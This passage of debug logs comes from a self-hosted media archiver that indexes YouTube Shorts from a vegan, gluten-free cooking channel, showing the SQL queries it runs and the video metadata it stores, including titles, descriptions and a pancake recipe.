shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [683] 20:28:02.466 [debug] Current batch of media processed. Will check again in 1000ms 20:28:03.468 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I have struggled most of my life with terrible digestive issues and could never really figure out what was going on. Just over 6 years ago I began a journey to transform my diet to see if I could somehow improve my pain and poor energy levels. I first went gluten free and noticed an immediate improvement within weeks and then 4 years ago I went vegan to see if this would make a difference. Boy did it ever change my life for the better. \n\nSubscribe and join me on my vegan and gluten free food journey as I enjoy life and all that this amazing diet has to offer.", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-19 DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts/DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts [8RLIBqvNiuU].NA", "id" => "8RLIBqvNiuU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/8RLIBqvNiuU", "playlist_index" => 295, "timestamp" => 1658250004, "title" => "DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts", "upload_date" => "20220719"} 20:28:03.470 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:03.470 [debug] QUERY OK source="sources" db=0.2ms idle=1005.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:03.473 [debug] QUERY OK source="media_items" db=2.0ms queue=0.3ms idle=1005.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-19 17:00:04Z], 1] 20:28:03.474 [debug] QUERY OK source="media_items" db=1.0ms idle=1007.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I have struggled most of my life with terrible digestive issues and could never really figure out what was going on. Just over 6 years ago I began a journey to transform my diet to see if I could somehow improve my pain and poor energy levels. I first went gluten free and noticed an immediate improvement within weeks and then 4 years ago I went vegan to see if this would make a difference. Boy did it ever change my life for the better. \n\nSubscribe and join me on my vegan and gluten free food journey as I enjoy life and all that this amazing diet has to offer.", "DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts", "1660d5a9-1906-46ce-8a18-248be9c145cf", 1, [], 15, false, "8RLIBqvNiuU", "https://www.youtube.com/shorts/8RLIBqvNiuU", 295, "/downloads/downloads/alec/Steamy Vegan/2022-07-19 DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts/DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts [8RLIBqvNiuU].NA", false, false, true, 0, ~U[2022-07-19 17:00:04Z], ~U[2026-03-22 03:28:03Z], ~U[2026-03-22 03:28:03Z], "I have struggled most of my life with terrible digestive issues and could never really figure out what was going on. Just over 6 years ago I began a journey to transform my diet to see if I could somehow improve my pain and poor energy levels. I first went gluten free and noticed an immediate improvement within weeks and then 4 years ago I went vegan to see if this would make a difference. Boy did it ever change my life for the better. \n\nSubscribe and join me on my vegan and gluten free food journey as I enjoy life and all that this amazing diet has to offer.", "DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts", 1, 15, false, "8RLIBqvNiuU", "https://www.youtube.com/shorts/8RLIBqvNiuU", "/downloads/downloads/alec/Steamy Vegan/2022-07-19 DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts/DIGESTIVE ISSUES BE GONE! 💩 My vegan diet transformed my digestion and energy #shorts [8RLIBqvNiuU].NA", true, ~U[2022-07-19 17:00:04Z]] 20:28:03.475 [debug] QUERY OK source="sources" db=0.3ms idle=199.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:03.476 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:03.477 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [684] 20:28:03.477 [debug] Current batch of media processed. Will check again in 1000ms 20:28:04.478 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Whether you've been on a vegan, plant-based or gluten free diet for years or just looking to add a few new recipes to your repertoire, I've got you covered. I make weekly Youtube recipe videos with 100% vegan and gluten free recipes that you can adapt to whichever diet you're pursuing.\n\nSubscribe!!! Thanks for your support! Janelle", "duration" => 16, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-19 Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts/Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts [wCWjBqCNYuI].NA", "id" => "wCWjBqCNYuI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/wCWjBqCNYuI", "playlist_index" => 296, "timestamp" => 1658242837, "title" => "Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts", "upload_date" => "20220719"} 20:28:04.479 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:04.480 [debug] QUERY OK source="sources" db=0.3ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:04.482 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-19 15:00:37Z], 1] 20:28:04.484 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Whether you've been on a vegan, plant-based or gluten free diet for years or just looking to add a few new recipes to your repertoire, I've got you covered. I make weekly Youtube recipe videos with 100% vegan and gluten free recipes that you can adapt to whichever diet you're pursuing.\n\nSubscribe!!! Thanks for your support! Janelle", "Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts", "4673eb24-d4b1-43df-9734-d8c78c09932e", 1, [], 16, false, "wCWjBqCNYuI", "https://www.youtube.com/shorts/wCWjBqCNYuI", 296, "/downloads/downloads/alec/Steamy Vegan/2022-07-19 Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts/Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts [wCWjBqCNYuI].NA", false, false, true, 1, ~U[2022-07-19 15:00:37Z], ~U[2026-03-22 03:28:04Z], ~U[2026-03-22 03:28:04Z], "Whether you've been on a vegan, plant-based or gluten free diet for years or just looking to add a few new recipes to your repertoire, I've got you covered. I make weekly Youtube recipe videos with 100% vegan and gluten free recipes that you can adapt to whichever diet you're pursuing.\n\nSubscribe!!! Thanks for your support! Janelle", "Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts", 1, 16, false, "wCWjBqCNYuI", "https://www.youtube.com/shorts/wCWjBqCNYuI", "/downloads/downloads/alec/Steamy Vegan/2022-07-19 Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts/Vegan recipes that don’t suck 😱🤤❤️#shorts #youtubeshorts [wCWjBqCNYuI].NA", true, ~U[2022-07-19 15:00:37Z]] 20:28:04.484 [debug] QUERY OK source="sources" db=0.3ms idle=206.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:04.485 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:04.486 [debug] QUERY OK source="media_items" db=0.4ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [685] 20:28:04.486 [debug] Current batch of media processed. Will check again in 1000ms 20:28:05.487 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's time to wake up for breakfast Chrissy. If anything is going to wake up Chrissy it might be these delicious vegan and gluten free breakfast recipes.\n\nSubscribe and stay tuned for more funny youtube shorts and full videos about eating vegan and gluten free. Thanks for your support!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-19 Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings/Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings [UDUPpR9Youk].NA", "id" => "UDUPpR9Youk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/UDUPpR9Youk", "playlist_index" => 297, "timestamp" => 1658189100, "title" => "Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings", "upload_date" => "20220719"} 20:28:05.488 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:05.489 [debug] QUERY OK source="sources" db=0.6ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:05.492 [debug] QUERY OK source="media_items" db=2.5ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-19 00:05:00Z], 1] 20:28:05.493 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's time to wake up for breakfast Chrissy. If anything is going to wake up Chrissy it might be these delicious vegan and gluten free breakfast recipes.\n\nSubscribe and stay tuned for more funny youtube shorts and full videos about eating vegan and gluten free. Thanks for your support!", "Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings", "6e46cd56-abb9-4d4d-b0c9-02751b2b2180", 1, [], 15, false, "UDUPpR9Youk", "https://www.youtube.com/shorts/UDUPpR9Youk", 297, "/downloads/downloads/alec/Steamy Vegan/2022-07-19 Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings/Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings [UDUPpR9Youk].NA", false, false, true, 2, ~U[2022-07-19 00:05:00Z], ~U[2026-03-22 03:28:05Z], ~U[2026-03-22 03:28:05Z], "It's time to wake up for breakfast Chrissy. If anything is going to wake up Chrissy it might be these delicious vegan and gluten free breakfast recipes.\n\nSubscribe and stay tuned for more funny youtube shorts and full videos about eating vegan and gluten free. Thanks for your support!", "Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings", 1, 15, false, "UDUPpR9Youk", "https://www.youtube.com/shorts/UDUPpR9Youk", "/downloads/downloads/alec/Steamy Vegan/2022-07-19 Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings/Chrissy, Wake Up - Vegan Breakfast Edition - Stranger Things 😱 ❤️#shorts #strangerthings [UDUPpR9Youk].NA", true, ~U[2022-07-19 00:05:00Z]] 20:28:05.494 [debug] QUERY OK source="sources" db=0.4ms idle=212.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:05.495 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:05.496 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [686] 20:28:05.496 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Let's make Banana Blueberry Protein Pancakes! Vegan, gluten-free and MEGA YUMMY!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\n1 banana -- 1 cup GF rolled oats -- 1 cup nondairy milk -- 1 scoop protein powder -- 1 tbsp apple cider vinegar -- 1 tbsp baking soda \nBlend on high in a blender -- mix in 1 cup fresh blueberries -- scoop 1/3 cup onto a hot griddle -- cook 2-3 minutes per side -- drown in maple syrup -- ENJOY and have the BEST DAY 💙", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-18 Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts/Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts [Jr91TvL6h8s].NA", "id" => "Jr91TvL6h8s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Jr91TvL6h8s", "playlist_index" => 298, "timestamp" => 1658168375, "title" => "Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts", "upload_date" => "20220718"} 20:28:05.498 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:05.499 [debug] QUERY OK source="sources" db=0.6ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:05.501 [debug] QUERY OK source="media_items" db=2.0ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-18 18:19:35Z], 1] 20:28:05.503 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make Banana Blueberry Protein Pancakes! Vegan, gluten-free and MEGA YUMMY!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\n1 banana -- 1 cup GF rolled oats -- 1 cup nondairy milk -- 1 scoop protein powder -- 1 tbsp apple cider vinegar -- 1 tbsp baking soda \nBlend on high in a blender -- mix in 1 cup fresh blueberries -- scoop 1/3 cup onto a hot griddle -- cook 2-3 minutes per side -- drown in maple syrup -- ENJOY and have the BEST DAY 💙", "Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts", "e729da63-c701-46f2-af40-2460cdf939ab", 1, [], 12, false, "Jr91TvL6h8s", "https://www.youtube.com/shorts/Jr91TvL6h8s", 298, "/downloads/downloads/alec/Steamy Vegan/2022-07-18 Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts/Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts [Jr91TvL6h8s].NA", false, false, true, 0, ~U[2022-07-18 18:19:35Z], ~U[2026-03-22 03:28:05Z], ~U[2026-03-22 03:28:05Z], "Let's make Banana Blueberry Protein Pancakes! Vegan, gluten-free and MEGA YUMMY!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\n1 banana -- 1 cup GF rolled oats -- 1 cup nondairy milk -- 1 scoop protein powder -- 1 tbsp apple cider vinegar -- 1 tbsp baking soda \nBlend on high in a blender -- mix in 1 cup fresh blueberries -- scoop 1/3 cup onto a hot griddle -- cook 2-3 minutes per side -- drown in maple syrup -- ENJOY and have the BEST DAY 💙", "Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts", 1, 12, false, "Jr91TvL6h8s", "https://www.youtube.com/shorts/Jr91TvL6h8s", "/downloads/downloads/alec/Steamy Vegan/2022-07-18 Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts/Banana Blueberry Protein Pancakes 🥞 🫐 💪🏻 Vegan and gluten-free, recipe below! #shorts #youtubeshorts [Jr91TvL6h8s].NA", true, ~U[2022-07-18 18:19:35Z]] 20:28:05.504 [debug] QUERY OK source="sources" db=0.5ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 